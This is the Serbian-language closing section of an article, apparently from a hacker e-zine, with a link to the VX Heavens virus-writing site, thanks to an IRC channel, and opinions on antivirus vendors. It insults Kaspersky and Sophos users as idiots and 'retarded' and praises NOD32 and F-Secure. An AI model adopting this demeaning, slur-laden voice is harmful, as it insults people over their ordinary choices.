       VX Heavens                                - http://www.vx.netlux.org
                     
Zahvalnice/Pohvalnice:
       ceo #ugs kanal i svima koji doprinose razvoju phearless zine-a
       
Napusavanja:
       (ja sam ga pisao i mogu da kazem sta hocu)
       KASPERSKY - je jedna debilcina
       KAV useri - debili, koji veruju marketingu
       SOPSHOS (kako oni debili sa zapada, tako i ovi nasi iz Novog Sada)
                 - debili, krajnje retardirani, mos misliti koliko covek treba 
                   biti glup pa kupiti ovaj software
       SOPHOS useri
                 - licno vas sazaljevam
Par lepih reci:
       NOD32          - rula
       NOD32 useri    - smekeri, ribe se loze na Nodovce :)
       F-Secure       - rula
       F-Secure useri - smekeri, ribe se lose na Fsekjurase :)

